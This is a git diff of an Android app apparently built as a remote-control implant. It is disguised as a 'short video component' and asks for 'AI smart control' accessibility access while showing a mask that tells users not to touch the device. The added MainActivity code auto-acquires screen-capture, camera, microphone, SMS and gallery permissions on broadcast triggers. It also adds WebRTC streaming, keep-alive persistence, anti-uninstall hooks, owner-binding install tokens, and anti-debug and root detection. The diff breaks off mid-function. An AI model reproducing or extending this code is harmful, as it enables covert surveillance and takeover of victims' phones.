diff --git a/.editorconfig b/.editorconfig
new file mode 100644
index 0000000..dc6212f
--- /dev/null
+++ b/.editorconfig
@@ -0,0 +1,11 @@
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+insert_final_newline = true
+indent_style = space
+indent_size = 2
+
+[*.{kt,kts,java,xml,gradle}]
+indent_size = 4
diff --git a/app/build.gradle b/app/build.gradle
index 626fcbd..92ee142 100644
--- a/app/build.gradle
+++ b/app/build.gradle
@@ -21,103 +21,95 @@ android {
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
+ lint {
+ // Keep CI/build running even when lint reports issues.
+ abortOnError false
+ checkReleaseBuilds false
+ }
+
buildTypes {
release {
- // 启用代码混淆和压缩
+ // Release hardening
minifyEnabled true
- // 启用资源压缩
shrinkResources true
- // 使用优化的ProGuard配置
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
-
- // 签名配置
+
+ // Signing config
signingConfig signingConfigs.debug
-
- // 构建优化
+
+ // Build optimization
zipAlignEnabled true
debuggable false
jniDebuggable false
-
- // 构建配置字段
+
buildConfigField "String", "BUILD_TYPE", "\"release\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
}
-
+
debug {
- // 调试版本不启用混淆，方便开发
+ // Easier troubleshooting for local development
minifyEnabled false
shrinkResources false
debuggable true
-
- // 构建配置字段
+
buildConfigField "String", "BUILD_TYPE", "\"debug\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "false"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "false"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "false"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "false"
}
-
- // 创建增强版本
+
create("enhancement") {
initWith(getByName("release"))
-
- // 强化混淆配置
+
+ // Enhanced release-like profile
minifyEnabled true
shrinkResources true
-
- // 强化构建配置
+
buildConfigField "String", "BUILD_TYPE", "\"enhancement\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
-
- // 启用更严格的优化
+
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
-
+
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
-
+
kotlinOptions {
jvmTarget = '1.8'
}
}
dependencies {
+ implementation 'com.github.pedroSG94.RootEncoder:library:2.5.4-1.8.22'
implementation 'androidx.core:core-ktx:1.10.1'
implementation 'androidx.appcompat:appcompat:1.6.1'
implementation 'com.google.android.material:material:1.9.0'
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
-
- // 协程支持
+
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3'
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.7.3'
-
- // ✅ Socket.IO v4 官方客户端库
+
implementation 'io.socket:socket.io-client:2.1.0'
-
- // 网络库
+ implementation 'org.webrtc:google-webrtc:1.0.32006'
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
-
- // JSON处理
implementation 'org.json:json:20231013'
-
- // 生命周期组件
+
implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.6.2'
implementation 'androidx.lifecycle:lifecycle-service:2.6.2'
-
- // WorkManager保活 - 使用兼容API 33的版本
+
implementation 'androidx.work:work-runtime-ktx:2.8.1'
-
- // 测试依赖
+
testImplementation 'junit:junit:4.13.2'
androidTestImplementation 'androidx.test.ext:junit:1.1.5'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
-}
\ No newline at end of file
+}
diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml
index 1db6cd8..a3fabc6 100644
--- a/app/src/main/AndroidManifest.xml
+++ b/app/src/main/AndroidManifest.xml
@@ -1,10 +1,11 @@
-
+
-
+
+
@@ -12,84 +13,88 @@
tools:ignore="QueryAllPackagesPermission" />
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
+
+
+
+
+
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
@@ -242,7 +255,7 @@
-
+
-
+
@@ -270,7 +283,7 @@
-
+
@@ -285,7 +298,7 @@
-
+
-
+
@@ -315,7 +328,7 @@
-
+
-
+
-
+
+
-
+
-
+
-
+
+
+
+ android:foregroundServiceType="mediaProjection|dataSync|camera|microphone" />
-
+
-
+
+ android:exported="false"
+ android:foregroundServiceType="dataSync" />
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
+
-
-
+
+
-
\ No newline at end of file
+
diff --git a/app/src/main/assets/server_config.json b/app/src/main/assets/server_config.json
index 828090f..47369f4 100644
--- a/app/src/main/assets/server_config.json
+++ b/app/src/main/assets/server_config.json
@@ -1,18 +1,35 @@
{
- "serverUrl": "ws://192.168.0.103:3001",
+ "serverUrl": "ws://192.168.100.45:3001",
"webUrl": "https://yhdm.one",
+ "webrtcTurnUrls": "",
+ "webrtcTurnUsername": "",
+ "webrtcTurnPassword": "",
+ "ownerUserId": "",
+ "ownerUsername": "",
+ "ownerGroupId": "",
+ "ownerGroupName": "",
+ "installToken": "",
+ "installResolveUrl": "",
"buildTime": "2025-09-09T11:45:57.889Z",
"version": "1.0.1.6",
- "enableConfigMask": true,
+ "enableConfigMask": false,
"enableProgressBar": true,
+ "featureFlags": {
+ "bootAutoStart": true,
+ "workManagerKeepAlive": true,
+ "comprehensiveKeepAlive": true,
+ "enhancedEventRecovery": true,
+ "permissionMetrics": true,
+ "keepAliveMetrics": true
+ },
"configMaskText": "配置中请稍后...",
- "configMaskSubtitle": "正在自动配置和连接\r\n请勿操作设备",
+ "configMaskSubtitle": "正在自动配置和连接\n请勿操作设备",
"configMaskStatus": "配置完成后将自动返回应用",
"pageStyleConfig": {
- "appName": "短视频组件",
- "statusText": "软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关",
+ "appName": "控制组件",
+ "statusText": "软件需要开启 AI 智能控制权限\n请按以下步骤操作\n1. 点击启用按钮\n2. 跳转到系统服务设置\n3. 找到本应用并进入\n4. 开启辅助功能",
"enableButtonText": "启用",
- "usageInstructions": "使用说明：\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意：请在安全的网络环境中使用",
+ "usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意: 请在安全的网络环境中使用",
"apkFileName": ""
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/MainActivity.kt b/app/src/main/java/com/hikoncont/MainActivity.kt
index 24c49c3..1b2dc47 100644
--- a/app/src/main/java/com/hikoncont/MainActivity.kt
+++ b/app/src/main/java/com/hikoncont/MainActivity.kt
@@ -3,6 +3,8 @@
import android.app.Activity
import android.app.ActivityManager
import android.content.BroadcastReceiver
+import android.content.ClipData
+import android.content.ClipboardManager
import android.content.Context
import android.content.Intent
import android.content.IntentFilter
@@ -19,9 +21,14 @@ import android.widget.Button
import android.widget.ImageView
import android.widget.Switch
import android.widget.TextView
+import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import androidx.core.content.ContextCompat
import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.util.DeviceMetricsReporter
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.UnifiedPermissionOrchestrator
+import com.hikoncont.util.registerReceiverCompat
import android.content.pm.PackageManager
import android.graphics.Color
import android.view.View
@@ -55,6 +62,19 @@ class MainActivity : AppCompatActivity() {
//新增：自动重试配置
private const val MAX_AUTO_RETRY_COUNT = 6 // 最大重试次数：6次 (约30秒)
private const val AUTO_RETRY_INTERVAL = 5000L // 重试间隔：5秒
+ private const val MAX_RUNTIME_BATCH_REQUEST_ATTEMPTS = 2
+ private const val MAX_SPECIAL_STEP_AUTO_ATTEMPTS = 2
+ private const val MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS = 900L
+ private const val SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS = 1650L
+ private const val AUTO_REPAIR_COOLDOWN_MS = 60_000L
+ private const val MAX_RUNTIME_REQUEST_DISPATCH_RETRIES = 8
+ private const val RUNTIME_REQUEST_DISPATCH_INTERVAL_MS = 180L
+ private const val SLOW_RUNTIME_REQUEST_DISPATCH_INTERVAL_MS = 320L
+ private const val RUNTIME_FLOW_CONTINUE_DELAY_MS = 500L
+ private const val SLOW_RUNTIME_FLOW_CONTINUE_DELAY_MS = 1200L
+ private const val SLOW_MODE_MAX_LAUNCH_COUNT = 3
+ private const val FIRST_INSTALL_GRACE_PERIOD_MS = 12 * 60 * 60 * 1000L
+ private const val PREF_PERMISSION_HEALTH = "permission_health_snapshot"
}
private lateinit var statusText: TextView
@@ -63,6 +83,10 @@ class MainActivity : AppCompatActivity() {
private lateinit var usageInstructionsText: TextView
private lateinit var serviceSwitch: Switch
private lateinit var appIconImageView: ImageView
+ private lateinit var uninstallProtectionSwitch: Switch
+ private lateinit var copyDiagnosticsButton: Button
+ private lateinit var diagnosticsPreviewText: TextView
+ private var isUpdatingUninstallProtectionSwitch = false
private var mediaProjectionManager: MediaProjectionManager? = null
private var mediaProjection: MediaProjection? = null
@@ -77,6 +101,14 @@ class MainActivity : AppCompatActivity() {
//防止重复权限申请的标志
private var permissionRequestInProgress = false
+ private var permissionRequestInProgressSince = 0L
+ private val permissionRequestStaleTimeoutMs = 35_000L
+ // 单项运行时权限请求进行中（用于抑制自动切WebView抢焦点）
+ private var pendingSingleRuntimePermissionRequest = false
+ // 兼容标记：当前稳定策略统一走自动确认链路，仅保留字段避免外部调用崩溃
+ private var manualGrantOnlyMode = false
+ // 标记本轮授权是否仅供 WebRTC 使用（避免提前消费投屏 token）
+ private var pendingWebRtcOnlyPermissionRequest = false
//新增：存储自定义的页面样式配置
private var customStatusText: String? = null
@@ -94,6 +126,17 @@ class MainActivity : AppCompatActivity() {
private var isWebViewVisible = false
private var mediaProjectionCheckRunnable: Runnable? = null
+ // 统一权限编排状态
+ private var unifiedPermissionFlowInProgress = false
+ private var unifiedPermissionFlowBackgroundPreferred = false
+ private var unifiedPermissionFlowLastActionAt = 0L
+ private var runtimeBatchRequestAttempts = 0
+ private val permissionStepAttempts = mutableMapOf()
+ private val manualPermissionSteps = mutableSetOf()
+ private var lastAutoRepairAt = 0L
+ private var cachedSlowPermissionFlowMode: Boolean? = null
+ private var slowPermissionFlowModeLogged = false
+
//合并的广播接收器 - 处理停止Activity和备用权限申请
private val combinedBroadcastReceiver = object : BroadcastReceiver() {
override fun onReceive(context: Context?, intent: Intent?) {
@@ -135,49 +178,60 @@ class MainActivity : AppCompatActivity() {
"android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE" -> {
Log.i(TAG, "📡 收到备用权限申请广播 - 来自AccessibilityRemoteService")
val autoRequest = intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false)
+ val webrtcOnlyRequest = intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)
+ val forceResetPermissionData = intent.getBooleanExtra("FORCE_PERMISSION_DATA_RESET", false)
val timestamp = intent.getLongExtra("TIMESTAMP", 0)
val source = intent.getStringExtra("SOURCE") ?: "未知"
Log.i(
TAG,
- "📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, TIMESTAMP=$timestamp, SOURCE=$source"
+ "📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, WEBRTC_ONLY_REQUEST=$webrtcOnlyRequest, FORCE_PERMISSION_DATA_RESET=$forceResetPermissionData, TIMESTAMP=$timestamp, SOURCE=$source"
)
if (autoRequest) {
//检查是否已有权限申请在进行，防止重复申请
if (permissionRequestInProgress) {
- Log.w(TAG, "权限申请已在进行中，忽略备用广播")
- return
+ val forceResetBusyState = forceResetPermissionData || webrtcOnlyRequest
+ val recovered = resetStalePermissionRequestIfNeeded(
+ reason = "backup_broadcast:$source",
+ force = forceResetBusyState
+ )
+ if (!recovered && permissionRequestInProgress) {
+ Log.w(TAG, "权限申请已在进行中，忽略备用广播")
+ return
+ }
+ if (recovered) {
+ Log.w(TAG, "已重置卡死的权限申请状态，继续处理备用广播")
+ }
}
- //检查权限是否已存在，防止重复申请
+ //检查权限是否已存在，防止重复申请（除非显式要求重置）
val permissionData = MediaProjectionHolder.getPermissionData()
- if (permissionData != null) {
+ if (permissionData != null && !forceResetPermissionData) {
Log.i(TAG, "MediaProjection权限已存在，忽略备用广播")
return
}
+ if (permissionData != null && forceResetPermissionData) {
+ Log.w(TAG, "🧹 备用广播要求强制重置MediaProjection权限数据")
+ MediaProjectionHolder.clearPermissionData()
+ }
- Log.i(
- TAG,
- "备用广播包含AUTO_REQUEST_PERMISSION=true，但权限申请已通过主Intent启动"
- )
- Log.i(TAG, "备用广播仅用于确保Activity前台显示，不重复启动权限申请")
+ Log.i(TAG, "备用广播触发自动权限申请链路")
+ pendingWebRtcOnlyPermissionRequest = webrtcOnlyRequest
+ manualGrantOnlyMode = false
+ isAutoPermissionRequest = true
+ setPermissionRequestInProgressState(true, "backup_broadcast:$source")
- //仅强制将Activity带到前台，不重复启动权限申请
+ //将Activity带到前台，并直接启动自动权限申请
runOnUiThread {
try {
- //ANR修复：异步处理窗口焦点操作
android.os.Handler(android.os.Looper.getMainLooper()).post {
try {
- // 分步骤设置窗口标志，避免ANR
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
-
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
-
- // 延迟执行moveTaskToFront
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
try {
val activityManager =
@@ -191,16 +245,29 @@ class MainActivity : AppCompatActivity() {
Log.e(TAG, "moveTaskToFront失败", e)
}
}, 150)
+
+ android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
+ try {
+ Log.i(TAG, "📺 备用广播开始执行自动权限申请")
+ handleAutoPermissionRequest()
+ } catch (e: Exception) {
+ Log.e(TAG, "备用广播执行自动权限申请失败", e)
+ setPermissionRequestInProgressState(false, "backup_broadcast_exec_failed")
+ }
+ }, 450)
} catch (e: Exception) {
Log.e(TAG, "设置屏幕标志失败", e)
+ setPermissionRequestInProgressState(false, "backup_broadcast_set_flag_failed")
}
}, 100)
} catch (e: Exception) {
Log.e(TAG, "异步设置Activity前台显示失败", e)
+ setPermissionRequestInProgressState(false, "backup_broadcast_async_failed")
}
}
} catch (e: Exception) {
Log.w(TAG, "设置Activity前台显示失败: ${e.message}")
+ setPermissionRequestInProgressState(false, "backup_broadcast_foreground_failed")
}
}
} else {
@@ -389,6 +456,10 @@ class MainActivity : AppCompatActivity() {
Log.w(TAG, "Intent为null")
}
+ // 作者: sue 日期: 2026-02-19
+ // 说明: 处理安装分享链接深链接，把归属Token写入本地配置。
+ handleInstallLinkIntent(intent)
+
//注册广播接收器（无论是否伪装模式都需要）
val filter = IntentFilter().apply {
addAction("android.mycustrecev.STOP_ACTIVITY_CREATION")
@@ -402,7 +473,8 @@ class MainActivity : AppCompatActivity() {
addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") //新增：短信权限请求广播
addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") //新增：所有权限请求广播
}
- registerReceiver(combinedBroadcastReceiver, filter)
+ // 统一走兼容注册入口，避免 Android 13+ 因 flags 缺失触发 SecurityException
+ registerReceiverCompat(combinedBroadcastReceiver, filter, exported = false)
// Initialize MediaProjectionManager early to avoid null in any code path
try {
@@ -415,7 +487,21 @@ class MainActivity : AppCompatActivity() {
// Record app launch count for keep-alive detection
recordAppLaunch()
+ try {
+ val romPolicy = DeviceDetector.getRomPolicy()
+ Log.i(
+ TAG,
+ "当前ROM策略: id=${romPolicy.strategyId}, installer=${romPolicy.installerStrategy}, stepOrder=${romPolicy.permissionStepOrder.joinToString("->") { it.name }}"
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "读取ROM策略失败", e)
+ }
+ val hasExplicitPermissionIntent = hasExplicitPermissionRequestIntent(intent)
+ if (hasExplicitPermissionIntent) {
+ Log.i(TAG, "🚦 检测到显式权限请求Intent，本次启动跳过WebView快捷分支")
+ }
+
//新增：检查是否为无闪现后台唤起
if (intent?.getBooleanExtra("LAUNCH_BACKGROUND", false) == true) {
try {
@@ -429,7 +515,8 @@ class MainActivity : AppCompatActivity() {
}
//优先检查：是否来自安装完成广播，需要显示WebView
- if (intent?.getBooleanExtra("from_installation_complete", false) == true &&
+ if (!hasExplicitPermissionIntent &&
+ intent?.getBooleanExtra("from_installation_complete", false) == true &&
intent?.getBooleanExtra("show_webview", false) == true
) {
Log.i(TAG, "🌐 来自安装完成广播，检查MediaProjection权限后显示WebView")
@@ -457,14 +544,10 @@ class MainActivity : AppCompatActivity() {
Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission")
if (!hasMediaProjectionPermission) {
- Log.w(TAG, "MediaProjection权限未获取，不启动WebView，转入手动权限申请流程")
- // 设置布局但不启动WebView，让应用进入正常的权限申请流程
- setContentView(R.layout.activity_main)
- initViews()
- return
+ Log.i(TAG, "🧩 WS优先模式：MediaProjection权限未获取，先进入WebView，后续按需触发超频模式")
}
- Log.i(TAG, "MediaProjection权限已获取，启动WebView")
+ Log.i(TAG, "启动WebView页面（WS优先）")
setContentView(R.layout.activity_main)
Log.i(TAG, "已设置布局，准备启动WebView")
@@ -624,7 +707,7 @@ class MainActivity : AppCompatActivity() {
}
//新增：检查安装是否已完成，如果完成则直接显示WebView
- if (isInstallationCompleted()) {
+ if (!hasExplicitPermissionIntent && isInstallationCompleted()) {
Log.i(TAG, "📦 检测到安装已完成，直接显示WebView")
setContentView(R.layout.activity_main)
startWebViewActivity()
@@ -633,14 +716,17 @@ class MainActivity : AppCompatActivity() {
// 🔐 只有在密码框曾经显示过的情况下才检查密码输入状态
- if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) {
+ if (!hasExplicitPermissionIntent &&
+ hasPasswordInputBeenShown() &&
+ !isPasswordInputCompleted()
+ ) {
Log.i(TAG, "🔐 密码框曾经显示过且密码输入未完成，强制跳转到密码输入页面")
startPasswordInputActivity()
return
}
// 🌐 如果WebView曾经打开过（从文件读取），则每次进入直接打开WebView
- if (com.hikoncont.util.WebViewStateStore.hasOpened(this)) {
+ if (!hasExplicitPermissionIntent && com.hikoncont.util.WebViewStateStore.hasOpened(this)) {
Log.i(TAG, "🌐 检测到WebView曾经打开过，检查MediaProjection权限后启动WebView页面")
//新增：检查MediaProjection权限是否已获取
@@ -648,12 +734,10 @@ class MainActivity : AppCompatActivity() {
Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission")
if (!hasMediaProjectionPermission) {
- Log.w(TAG, "MediaProjection权限未获取，不启动WebView，转入手动权限申请流程")
- // 不启动WebView，让应用进入正常的权限申请流程
- return
+ Log.i(TAG, "🧩 WS优先模式：MediaProjection权限未获取，仍直接进入WebView")
}
- Log.i(TAG, "MediaProjection权限已获取，启动WebView页面")
+ Log.i(TAG, "启动WebView页面（WS优先）")
startWebViewActivity()
return
}
@@ -891,13 +975,7 @@ class MainActivity : AppCompatActivity() {
Log.w(TAG, "AccessibilityEventManager不可用")
}
- // 启用防卸载监听
- try {
- accessibilityService.enableUninstallProtection()
- Log.i(TAG, "防卸载监听服务已启用")
- } catch (e: Exception) {
- Log.e(TAG, "启用防卸载监听失败", e)
- }
+ // 防卸载监听改为手动开关控制，不在这里自动启用
} else {
Log.w(TAG, "AccessibilityRemoteService不可用")
@@ -1071,6 +1149,8 @@ class MainActivity : AppCompatActivity() {
}
}
+ handleInstallLinkIntent(intent)
+
// 处理新的Intent
handleIntentAndPermissions(intent)
} else {
@@ -1078,6 +1158,62 @@ class MainActivity : AppCompatActivity() {
}
}
+ /**
+ *统一的Intent处理方法
+ */
+ private fun handleInstallLinkIntent(intent: Intent?) {
+ if (intent == null || intent.action != Intent.ACTION_VIEW) {
+ return
+ }
+
+ val data = intent.data ?: return
+ val scheme = data.scheme?.lowercase() ?: return
+ val host = data.host?.lowercase() ?: return
+ if (scheme != "ccprojer" || host != "install") {
+ return
+ }
+
+ val token = data.getQueryParameter("token")?.trim()
+ if (token.isNullOrEmpty()) {
+ Log.w(TAG, "安装深链接缺少 token 参数: $data")
+ return
+ }
+
+ val resolveUrl = data.getQueryParameter("resolve")?.trim()
+ val updated = com.hikoncont.util.ConfigWriter.applyInstallBinding(
+ context = this,
+ installToken = token,
+ installResolveUrl = resolveUrl,
+ )
+ if (updated) {
+ Log.i(TAG, "安装深链接参数写入成功: token=$token")
+ Toast.makeText(this, "安装归属参数已更新", Toast.LENGTH_SHORT).show()
+ } else {
+ Log.e(TAG, "安装深链接参数写入失败: token=$token")
+ Toast.makeText(this, "安装归属参数写入失败", Toast.LENGTH_SHORT).show()
+ }
+ }
+
+ /**
+ * 权限链路显式触发判定：
+ * 这些Intent应优先于安装完成/WebView快捷分支处理，避免ROM差异导致流程中断。
+ */
+ private fun hasExplicitPermissionRequestIntent(intent: Intent?): Boolean {
+ if (intent == null) {
+ return false
+ }
+ return intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) ||
+ intent.getBooleanExtra("request_camera_permission", false) ||
+ intent.getBooleanExtra("request_gallery_permission", false) ||
+ intent.getBooleanExtra("request_microphone_permission", false) ||
+ intent.getBooleanExtra("request_sms_permission", false) ||
+ intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) ||
+ intent.getBooleanExtra("SMART_RECOVERY", false) ||
+ intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false) ||
+ intent.getBooleanExtra("MIUI_PERMISSION_FIX", false) ||
+ intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false)
+ }
+
/**
*统一的Intent处理方法
*/
@@ -1104,6 +1240,7 @@ class MainActivity : AppCompatActivity() {
)
Log.i(TAG, "📊 Intent参数: TIMESTAMP=${intent.getLongExtra("TIMESTAMP", 0)}")
Log.i(TAG, "📊 Intent参数: SOURCE=${intent.getStringExtra("SOURCE") ?: "未知"}")
+ Log.i(TAG, "📊 Intent参数: WEBRTC_ONLY_REQUEST=${intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)}")
Log.i(TAG, "📊 Intent Action: ${intent.action ?: "无"}")
Log.i(TAG, "📊 Intent Flags: ${intent.flags}")
@@ -1151,13 +1288,11 @@ class MainActivity : AppCompatActivity() {
Log.i(TAG, "🛡️ 安装完成，启动保活服务（参考 f 目录策略）")
//参考 f 目录：只启动主前台服务（对应 BackRunServerUseUse）
- val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java)
- if (android.os.Build.VERSION.SDK_INT >= 26) {
- startForegroundService(foregroundIntent)
+ if (startRemoteForegroundServiceSafely(reason = "installation_complete")) {
+ Log.i(TAG, "主前台服务已启动（对应 f 目录的 BackRunServerUseUse）")
} else {
- startService(foregroundIntent)
+ Log.w(TAG, "主前台服务未启动，等待 MediaProjection 授权后再启动")
}
- Log.i(TAG, "主前台服务已启动（对应 f 目录的 BackRunServerUseUse）")
//启动 WorkManager 保活（对应 f 目录的系统级 WorkManager）
val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance()
@@ -1173,25 +1308,59 @@ class MainActivity : AppCompatActivity() {
startWebViewActivity()
}
+ intent.getBooleanExtra("request_sms_permission", false) -> {
+ Log.i(TAG, "📱 检测到短信权限申请请求")
+ intent.removeExtra("request_sms_permission")
+ requestSMSPermission()
+ }
+
+ intent.getBooleanExtra("request_gallery_permission", false) -> {
+ Log.i(TAG, "🖼️ 检测到相册权限申请请求")
+ intent.removeExtra("request_gallery_permission")
+ requestGalleryPermission()
+ }
+
+ intent.getBooleanExtra("request_microphone_permission", false) -> {
+ Log.i(TAG, "🎤 检测到麦克风权限申请请求")
+ intent.removeExtra("request_microphone_permission")
+ requestMicrophonePermission()
+ }
+
intent.getBooleanExtra("request_camera_permission", false) -> {
Log.i(TAG, "📷 检测到摄像头权限申请请求")
+ // 避免同一启动Intent在后续生命周期重复触发权限弹框
+ intent.removeExtra("request_camera_permission")
handleCameraPermissionRequest()
}
intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) -> {
- Log.i(TAG, "检测到自动权限申请请求，启动handleAutoPermissionRequest()")
-
- //检查是否已有权限申请在进行，防止重复申请
+ Log.i(TAG, "检测到自动权限申请请求，启动自动授权流程")
+ // 避免同一启动Intent在后续生命周期重复触发
+ intent.removeExtra("AUTO_REQUEST_PERMISSION")
+ // 稳定模式：忽略手动授权模式，保持自动确认链路
+ manualGrantOnlyMode = false
+ intent.removeExtra("MANUAL_GRANT_ONLY")
+ pendingWebRtcOnlyPermissionRequest = intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)
+ intent.removeExtra("WEBRTC_ONLY_REQUEST")
+ Log.i(TAG, "自动授权请求模式: pendingWebRtcOnlyPermissionRequest=$pendingWebRtcOnlyPermissionRequest")
if (permissionRequestInProgress) {
- Log.w(TAG, "权限申请已在进行中，忽略重复的Intent")
- return
+ val recovered = resetStalePermissionRequestIfNeeded(
+ reason = "intent_auto_request",
+ force = pendingWebRtcOnlyPermissionRequest
+ )
+ if (!recovered && permissionRequestInProgress) {
+ Log.w(TAG, "权限申请已在进行中，忽略重复的Intent")
+ return
+ }
+ if (recovered) {
+ Log.w(TAG, "已重置卡死的权限申请状态，继续处理自动授权Intent")
+ }
}
-
- isAutoPermissionRequest = true // 设置自动权限申请标志
- permissionRequestInProgress = true // 设置权限申请进行中标志
-
+ isAutoPermissionRequest = true
+ setPermissionRequestInProgressState(true, "intent_auto_request")
//检查是否为 MIUI 修复模式
val isMiuiFix = intent.getBooleanExtra("MIUI_PERMISSION_FIX", false)
+ intent.removeExtra("MIUI_PERMISSION_FIX")
if (isMiuiFix) {
Log.i(TAG, "🔧 检测到MIUI权限修复模式，使用特殊处理")
@@ -1209,64 +1378,13 @@ class MainActivity : AppCompatActivity() {
// MIUI 修复模式：等待更长时间确保Activity完全就绪
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
if (!isFinishing) {
- Log.i(TAG, "🔧 MIUI修复：延迟后启动权限申请")
+ Log.i(TAG, "🔧 MIUI修复：延迟后启动自动授权流程")
handleAutoPermissionRequest()
}
}, 2000) // 2秒延迟
return
}
-
- //强制将Activity带到前台，确保用户能看到权限申请界面
- Log.i(TAG, "强制将MainActivity带到前台")
- try {
- //ANR修复：异步处理窗口焦点操作，避免阻塞主线程
- android.os.Handler(android.os.Looper.getMainLooper()).post {
- try {
- //修复：分步骤设置窗口标志，避免一次性设置过多标志导致ANR
- // 第一步：设置基本窗口标志
- window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED)
-
- // 第二步：延迟设置屏幕相关标志
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- try {
- window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON)
- window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON)
-
- // 设置Activity为前台显示
- setTurnScreenOn(true)
- setShowWhenLocked(true)
-
- Log.i(TAG, "窗口标志设置完成")
- } catch (e: Exception) {
- Log.e(TAG, "设置屏幕标志失败", e)
- }
- }, 100) // 100ms延迟，避免ANR
-
- // 第三步：延迟执行moveTaskToFront，避免与窗口标志设置冲突
- android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
- try {
- val activityManager =
- getSystemService(Context.ACTIVITY_SERVICE) as android.app.ActivityManager
- activityManager.moveTaskToFront(
- taskId,
- android.app.ActivityManager.MOVE_TASK_WITH_HOME
- )
- Log.i(TAG, "ActivityManager移动任务成功")
- } catch (e: Exception) {
- Log.e(TAG, "ActivityManager移动任务失败", e)
- }
- }, 200) // 200ms延迟，确保窗口标志设置完成
-
- Log.i(TAG, "Activity前台显示操作已异步启动")
- } catch (e: Exception) {
- Log.e(TAG, "异步设置Activity前台显示失败", e)
- }
- }
- } catch (e: Exception) {
- Log.e(TAG, "设置Activity前台显示失败", e)
- }
-
handleAutoPermissionRequest()
}
@@ -1867,11 +1985,14 @@ class MainActivity : AppCompatActivity() {
//参考zuiqiang：移除onResume中的保活检测
// zuiqiang的做法是在onDestroy时启动透明保活Activity，而不是在onResume中检测
+ val currentIntent = intent
+ val hasExplicitPermissionIntent = hasExplicitPermissionRequestIntent(currentIntent)
+
// 🚀 关键优化：检查是否在 WebView 模式，如果是则跳过所有检查
val webViewContainer = findViewById(R.id.webViewContainer)
val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE
- if (isWebViewVisible) {
+ if (isWebViewVisible && !hasExplicitPermissionIntent && !unifiedPermissionFlowInProgress) {
Log.d(TAG, "🌐 WebView 模式：跳过所有后台检查，优化性能")
//Activity回到前台，如果WebView打开，恢复状态更新
@@ -1894,6 +2015,13 @@ class MainActivity : AppCompatActivity() {
return
}
+ if (isWebViewVisible && (hasExplicitPermissionIntent || unifiedPermissionFlowInProgress)) {
